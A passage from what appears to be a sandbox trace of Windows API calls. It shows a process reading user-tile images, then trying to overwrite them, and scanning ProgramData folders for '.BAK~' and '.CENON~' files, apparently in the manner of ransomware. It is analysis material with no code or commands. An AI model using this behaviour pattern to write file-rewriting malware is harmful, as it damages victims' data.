Pictures\\usertile35.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile35.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d8 [0114.620] GetFileSize (in: hFile=0x1d8, lpFileSizeHigh=0x1ae558 | out: lpFileSizeHigh=0x1ae558*=0x0) returned 0xc038 [0114.620] ReadFile (in: hFile=0x1d8, lpBuffer=0x2902628, nNumberOfBytesToRead=0xc038, lpNumberOfBytesRead=0x1ae488, lpOverlapped=0x0 | out: lpBuffer=0x2902628*, lpNumberOfBytesRead=0x1ae488*=0xc038, lpOverlapped=0x0) returned 1 [0114.622] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile35.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile35.bmp"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0114.624] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile36.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile36.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d8 [0114.624] GetFileSize (in: hFile=0x1d8, lpFileSizeHigh=0x1ae558 | out: lpFileSizeHigh=0x1ae558*=0x0) returned 0xc038 [0114.624] ReadFile (in: hFile=0x1d8, lpBuffer=0x291b9d8, nNumberOfBytesToRead=0xc038, lpNumberOfBytesRead=0x1ae488, lpOverlapped=0x0 | out: lpBuffer=0x291b9d8*, lpNumberOfBytesRead=0x1ae488*=0xc038, lpOverlapped=0x0) returned 1 [0114.626] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile36.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile36.bmp"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0114.628] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile37.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile37.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d8 [0114.628] GetFileSize (in: hFile=0x1d8, lpFileSizeHigh=0x1ae558 | out: lpFileSizeHigh=0x1ae558*=0x0) returned 0xc038 [0114.628] ReadFile (in: hFile=0x1d8, lpBuffer=0x2934d88, nNumberOfBytesToRead=0xc038, lpNumberOfBytesRead=0x1ae488, lpOverlapped=0x0 | out: lpBuffer=0x2934d88*, lpNumberOfBytesRead=0x1ae488*=0xc038, lpOverlapped=0x0) returned 1 [0114.630] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile37.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile37.bmp"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0114.631] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile38.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile38.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d8 [0114.632] GetFileSize (in: hFile=0x1d8, lpFileSizeHigh=0x1ae558 | out: lpFileSizeHigh=0x1ae558*=0x0) returned 0xc038 [0114.632] ReadFile (in: hFile=0x1d8, lpBuffer=0x294e138, nNumberOfBytesToRead=0xc038, lpNumberOfBytesRead=0x1ae488, lpOverlapped=0x0 | out: lpBuffer=0x294e138*, lpNumberOfBytesRead=0x1ae488*=0xc038, lpOverlapped=0x0) returned 1 [0114.634] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile38.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile38.bmp"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0114.635] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile39.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile39.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d8 [0114.635] GetFileSize (in: hFile=0x1d8, lpFileSizeHigh=0x1ae558 | out: lpFileSizeHigh=0x1ae558*=0x0) returned 0xc038 [0114.635] ReadFile (in: hFile=0x1d8, lpBuffer=0x29674e8, nNumberOfBytesToRead=0xc038, lpNumberOfBytesRead=0x1ae488, lpOverlapped=0x0 | out: lpBuffer=0x29674e8*, lpNumberOfBytesRead=0x1ae488*=0xc038, lpOverlapped=0x0) returned 1 [0114.638] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile39.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile39.bmp"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0114.639] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile40.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile40.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d8 [0114.640] GetFileSize (in: hFile=0x1d8, lpFileSizeHigh=0x1ae558 | out: lpFileSizeHigh=0x1ae558*=0x0) returned 0xc038 [0114.640] ReadFile (in: hFile=0x1d8, lpBuffer=0x2980898, nNumberOfBytesToRead=0xc038, lpNumberOfBytesRead=0x1ae488, lpOverlapped=0x0 | out: lpBuffer=0x2980898*, lpNumberOfBytesRead=0x1ae488*=0xc038, lpOverlapped=0x0) returned 1 [0114.642] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile40.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile40.bmp"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0114.643] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile41.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile41.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d8 [0114.644] GetFileSize (in: hFile=0x1d8, lpFileSizeHigh=0x1ae558 | out: lpFileSizeHigh=0x1ae558*=0x0) returned 0xc038 [0114.644] ReadFile (in: hFile=0x1d8, lpBuffer=0x2999c48, nNumberOfBytesToRead=0xc038, lpNumberOfBytesRead=0x1ae488, lpOverlapped=0x0 | out: lpBuffer=0x2999c48*, lpNumberOfBytesRead=0x1ae488*=0xc038, lpOverlapped=0x0) returned 1 [0114.646] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile41.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile41.bmp"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0114.647] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile42.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile42.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d8 [0114.647] GetFileSize (in: hFile=0x1d8, lpFileSizeHigh=0x1ae558 | out: lpFileSizeHigh=0x1ae558*=0x0) returned 0xc038 [0114.648] ReadFile (in: hFile=0x1d8, lpBuffer=0x29b2ff8, nNumberOfBytesToRead=0xc038, lpNumberOfBytesRead=0x1ae488, lpOverlapped=0x0 | out: lpBuffer=0x29b2ff8*, lpNumberOfBytesRead=0x1ae488*=0xc038, lpOverlapped=0x0) returned 1 [0114.650] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile42.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile42.bmp"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0114.651] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile43.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile43.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d8 [0114.652] GetFileSize (in: hFile=0x1d8, lpFileSizeHigh=0x1ae558 | out: lpFileSizeHigh=0x1ae558*=0x0) returned 0xc038 [0114.652] ReadFile (in: hFile=0x1d8, lpBuffer=0x29cc3a8, nNumberOfBytesToRead=0xc038, lpNumberOfBytesRead=0x1ae488, lpOverlapped=0x0 | out: lpBuffer=0x29cc3a8*, lpNumberOfBytesRead=0x1ae488*=0xc038, lpOverlapped=0x0) returned 1 [0114.654] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile43.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile43.bmp"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0114.656] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile44.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile44.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d8 [0114.656] GetFileSize (in: hFile=0x1d8, lpFileSizeHigh=0x1ae558 | out: lpFileSizeHigh=0x1ae558*=0x0) returned 0xc038 [0114.656] ReadFile (in: hFile=0x1d8, lpBuffer=0x29e5758, nNumberOfBytesToRead=0xc038, lpNumberOfBytesRead=0x1ae488, lpOverlapped=0x0 | out: lpBuffer=0x29e5758*, lpNumberOfBytesRead=0x1ae488*=0xc038, lpOverlapped=0x0) returned 1 [0114.658] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile44.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile44.bmp"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0114.664] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\*.BAK~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0114.664] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0114.672] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\*.CENON~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0114.672] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0114.673] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae2a0 | out: lpFindFileData=0x1ae2a0) returned 1 [0114.673] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae2a0 | out: lpFindFileData=0x1ae2a0) returned 1 [0114.673] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae2a0 | out: lpFindFileData=0x1ae2a0) returned 1 [0114.673] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae2a0 | out: lpFindFileData=0x1ae2a0) returned 1 [0114.673] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae2a0 | out: lpFindFileData=0x1ae2a0) returned 1 [0114.673] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae2a0 | out: lpFindFileData=0x1ae2a0) returned 1 [0114.673] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae2a0 | out: lpFindFileData=0x1ae2a0) returned 1 [0114.673] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae2a0 | out: lpFindFileData=0x1ae2a0) returned 1 [0114.673] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae2a0 | out: lpFindFileData=0x1ae2a0) returned 1 [0114.673] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae2a0 | out: lpFindFileData=0x1ae2a0) returned 1 [0114.673] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae2a0 | out: lpFindFileData=0x1ae2a0) returned 1 [0114.673] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae2a0 | out: lpFindFileData=0x1ae2a0) returned 1 [0114.673] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae2a0 | out: lpFindFileData=0x1ae2a0) returned 1 [0114.673] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae2a0 | out: lpFindFileData=0x1ae2a0) returned 1 [0114.673] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae2a0 | out: lpFindFileData=0x1ae2a0) returned 1 [0114.674] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae2a0 | out: lpFindFileData=0x1ae2a0) returned 1 [0114.674] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae2a0 | out: lpFindFileData=0x1ae2a0) returned 1 [0114.674] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae2a0 | out: lpFindFileData=0x1ae2a0) returned 1 [0114.674] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae2a0 | out: lpFindFileData=0x1ae2a0) returned 1 [0114.674] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae2a0 | out: lpFindFileData=0x1ae2a0) returned 1 [0114.674] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae2a0 | out: lpFindFileData=0x1ae2a0) returned 1 [0114.674] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae2a0 | out: lpFindFileData=0x1ae2a0) returned 1 [0114.674] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae2a0 | out: lpFindFileData=0x1ae2a0) returned 1 [0114.674] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae2a0 | out: lpFindFileData=0x1ae2a0) returned 1 [0114.674] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae2a0 | out: lpFindFileData=0x1ae2a0) returned 1 [0114.674] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae2a0 | out: lpFindFileData=0x1ae2a0) returned 1 [0114.674] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae2a0 | out: lpFindFileData=0x1ae2a0) returned 1 [0114.674] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae2a0 | out: lpFindFileData=0x1ae2a0) returned 1 [0114.674] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae2a0 | out: lpFindFileData=0x1ae2a0) returned 1 [0114.674] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae2a0 | out: lpFindFileData=0x1ae2a0) returned 1 [0114.674] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae2a0 | out: lpFindFileData=0x1ae2a0) returned 1 [0114.674] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae2a0 | out: lpFindFileData=0x1ae2a0) returned 1 [0114.674] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae2a0 | out: lpFindFileData=0x1ae2a0) returned 1 [0114.674] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae2a0 | out: lpFindFileData=0x1ae2a0) returned 1 [0114.674] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae2a0 | out: lpFindFileData=0x1ae2a0) returned 1 [0114.674] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae2a0 | out: lpFindFileData=0x1ae2a0) returned 1 [0114.674] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae2a0 | out: lpFindFileData=0x1ae2a0) returned 0 [0114.684] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Vault\\*.BAK~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0114.684] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0114.685] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Vault\\*.CENON~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0114.685] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0114.686] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae340 | out: lpFindFileData=0x1ae340) returned 1 [0114.686] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae340 | out: lpFindFileData=0x1ae340) returned 0 [0114.692] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\VISIO\\*.BAK~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0114.692] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0114.693] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\VISIO\\*.CENON~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0114.693] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0114.694] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae340 | out: lpFindFileData=0x1ae340) returned 1 [0114.694] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae340 | out: lpFindFileData=0x1ae340) returned 0 [0114.700] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\*.BAK~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0114.700] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0114.701] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\*.CENON~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0114.702] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0114.702] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae340 | out: lpFindFileData=0x1ae340) returned 1 [0114.702] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae340 | out: lpFindFileData=0x1ae340) returned 1 [0114.702] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae340 | out: lpFindFileData=0x1ae340) returned 1 [0114.703] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae340 | out: lpFindFileData=0x1ae340) returned 1 [0114.703] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae340 | out: lpFindFileData=0x1ae340) returned 1 [0114.703] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae340 | out: lpFindFileData=0x1ae340) returned 1 [0114.703] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae340 | out: lpFindFileData=0x1ae340) returned 1 [0114.703] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae340 | out: lpFindFileData=0x1ae340) returned 1 [0114.703] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae340 | out: lpFindFileData=0x1ae340) returned 1 [0114.703] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae340 | out: lpFindFileData=0x1ae340) returned 1 [0114.703] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae340 | out: lpFindFileData=0x1ae340) returned 1 [0114.703] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae340 | out: lpFindFileData=0x1ae340) returned 1 [0114.703] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae340 | out: lpFindFileData=0x1ae340) returned 0 [0114.709] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AIT\\*.BAK~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0114.709] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0114.710] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AIT\\*.CENON~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0114.710] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0114.711] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae2a0 | out: lpFindFileData=0x1ae2a0) returned 1 [0114.711] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae2a0 | out: lpFindFileData=0x1ae2a0) returned 0 [0114.721] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\Caches\\*.BAK~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0114.721] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0114.723] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\Caches\\*.CENON~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0114.723] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0114.724] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae2a0 | out: lpFindFileData=0x1ae2a0) returned 1 [0114.724] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae2a0 | out: lpFindFileData=0x1ae2a0) returned 1 [0114.724] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae2a0 | out: lpFindFileData=0x1ae2a0) returned 1 [0114.724] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae2a0 | out: lpFindFileData=0x1ae2a0) returned 1 [0114.724] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae2a0 | out: lpFindFileData=0x1ae2a0) returned 1 [0114.724] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae2a0 | out: lpFindFileData=0x1ae2a0) returned 1 [0114.724] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae2a0 | out: lpFindFileData=0x1ae2a0) returned 1 [0114.724] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae2a0 | out: lpFindFileData=0x1ae2a0) returned 1 [0114.724] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae2a0 | out: lpFindFileData=0x1ae2a0) returned 1 [0114.725] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae2a0 | out: lpFindFileData=0x1ae2a0) returned 1 [0114.725] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae2a0 | out: lpFindFileData=0x1ae2a0) returned 0 [0114.730] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\DeviceMetadataStore\\*.BAK~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0114.731] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0114.732] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\DeviceMetadataStore\\*.CENON~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0114.732] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0114.733] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae2a0 | out: lpFindFileData=0x1ae2a0) returned 1 [0114.733] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae2a0 | out: lpFindFileData=0x1ae2a0) returned 1 [0114.733] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae2a0 | out: lpFindFileData=0x1ae2a0) returned 0 [0114.739] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\DeviceMetadataStore\\en-US\\*.BAK~", lpszLongPath=0x1adf90, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0114.740] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1adf90, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0114.741] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\DeviceMetadataStore\\en-US\\*.CENON~", lpszLongPath=0x1adf90, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0114.741] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1adf90, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0114.742] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae200 | out: lpFindFileData=0x1ae200) returned 1 [0114.742] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae200 | out: lpFindFileData=0x1ae200) returned 1 [0114.742] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae200 | out: lpFindFileData=0x1ae200) returned 1 [0114.742] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae200 | out: lpFindFileData=0x1ae200) returned 0 [0114.748] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\DRM\\*.BAK~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0114.748] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0114.750] GetLongPathNameW (in: 